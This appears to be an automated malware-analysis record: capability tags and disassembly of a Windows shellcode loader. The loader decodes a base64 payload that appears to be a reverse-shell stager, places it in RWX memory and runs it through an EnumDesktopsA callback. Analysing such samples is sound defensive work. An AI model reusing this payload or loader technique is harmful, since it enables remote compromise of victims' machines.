Function at 0x140011970
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1a8
lea rsi, [0x140013610]
call fcn.14000a56e
mov ecx, 0x588
lea rdi, [rsp + 0x30]
call sub.msvcrt.dll_malloc
mov dword [rsp + 0x20], 0x588
mov r9d, 6
lea r8, str.RajKit
mov rdx, rax
lea rcx, str.ZmMgZTggOGYgMDAgMDAgMDAgNjAgMzEgZDIgNjQgOGIgNTIgMzAgODkgZTUgOGIgNTIgMGMgOGIgNTIgMTQgMGYgYjcgNGEgMjYgMzEgZmYgOGIgNzIgMjggMzEgYzAgYWMgM2MgNjEgN2MgMDIgMmMgMjAgYzEgY2YgMGQgMDEgYzcgNDkgNzUgZWYgNTIgOGIgNTIgMTAgOGIgNDIgM2MgNTcgMDEgZDAgOGIgNDAgNzggODUgYzAgNzQgNGMgMDEgZDAgOGIgNTggMjAgOGIgNDggMTggNTAgMDEgZDMgODUgYzkgNzQgM2MgNDkgMzEgZmYgOGIgMzQgOGIgMDEgZDYgMzEgYzAgYzEgY2YgMGQgYWMgMDEgYzcgMzggZTAgNzUgZjQgMDMgN2QgZjggM2IgN2QgMjQgNzUgZTAgNTggOGIgNTggMjQgMDEgZDMgNjYgOGIgMGMgNGIgOGIgNTggMWMgMDEgZDMgOGIgMDQgOGIgMDEgZDAgODkgNDQgMjQgMjQgNWIgNWIgNjEgNTkgNWEgNTEgZmYgZTAgNTggNWYgNWEgOGIgMTIgZTkgODAgZmYgZmYgZmYgNWQgNjggMzMgMzIgMDAgMDAgNjggNzcgNzMgMzIgNWYgNTQgNjggNGMgNzcgMjYgMDcgODkgZTggZmYgZDAgYjggOTAgMDEgMDAgMDAgMjkgYzQgNTQgNTAgNjggMjkgODAgNmIgMDAgZmYgZDUgNmEgMGEgNjggYzAgYTggMDEgYTEgNjggMDIgMDAgMTEgNWMgODkgZTYgNTAgNTAgNTAgNTAgNDAgNTAgNDAgNTAgNjggZWEgMGYgZGYgZTAgZmYgZDUgOTcgNmEgMTAgNTYgNTcgNjggOTkgYTUgNzQgNjEgZmYgZDUgODUgYzAgNzQgMGEgZmYgNGUgMDggNzUgZWMgZTggNjcgMDAgMDAgMDAgNmEgMDAgNmEgMDQgNTYgNTcgNjggMDIgZDkgYzggNWYgZmYgZDUgODMgZjggMDAgN2UgMzYgOGIgMzYgNmEgNDAgNjggMDAgMTAgMDAgMDAgNTYgNmEgMDAgNjggNTggYTQgNTMgZTUgZmYgZDUgOTMgNTMgNmEgMDAgNTYgNTMgNTcgNjggMDIgZDkgYzggNWYgZmYgZDUgODMgZjggMDAgN2QgMjggNTggNjggMDAgNDAgMDAgMDAgNmEgMDAgNTAgNjggMGIgMmYgMGYgMzAgZmYgZDUgNTcgNjggNzUgNmUgNGQgNjEgZmYgZDUgNWUgNWUgZmYgMGMgMjQgMGYgODUgNzAgZmYgZmYgZmYgZTkgOWIgZmYgZmYgZmYgMDEgYzMgMjkgYzYgNzUgYzEgYzMgYmIgZjAgYjUgYTIgNTYgNmEgMDAgNTMgZmYgZDU
call fcn.14000fa60
mov ecx, 0x2c
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x161
movzx eax, word [rsi]
mov word [rdi], ax
call sub.msvcrt.dll_malloc
mov r9d, 6
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x161
mov rsi, rax
lea r8, str.RajKit
mov rdx, rax
call fcn.14000fa60
mov rdx, rsi
lea rcx, [0x1400135f1]
call fcn.14000fcb0
mov ecx, 0x200
call sub.msvcrt.dll_malloc
mov rcx, rsi
mov r9d, 0x200
mov edx, 0x200
mov r8, rax
mov rbx, rax
call fcn.14000fd00
mov ecx, 0x11d
call fcn.1400113b0
mov rsi, rax
xor eax, eax
nop dword [rax + rax]
movzx edx, byte [rbx + rax]
mov byte [rsi + rax], dl
add rax, 1
cmp rax, 0x11d
jne 0x140011a40
lea rcx, str._______payload____________n
mov rbx, rsi
lea rbp, [rsi + 0x11d]
call fcn.14000fcb0
lea rdi, str._02hhx_t
movzx edx, byte [rbx]
mov rcx, rdi
add rbx, 1
call fcn.14000fcb0
cmp rbp, rbx
jne 0x140011a70
lea rcx, [0x140013025]
call fcn.14000fcb0
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov edx, 0x11e
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rax, qword [rsi]
lea rdi, [rbx + 8]
mov qword [rbx], rax
mov rax, qword [rsi + 0x115]
and rdi, 0xfffffffffffffff8
mov qword [rbx + 0x115], rax
mov rax, rbx
sub rax, rdi
sub rsi, rax
add eax, 0x11d
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
add rsp, 0x1a8
pop rbx
pop rsi
pop rdi
pop rbp
ret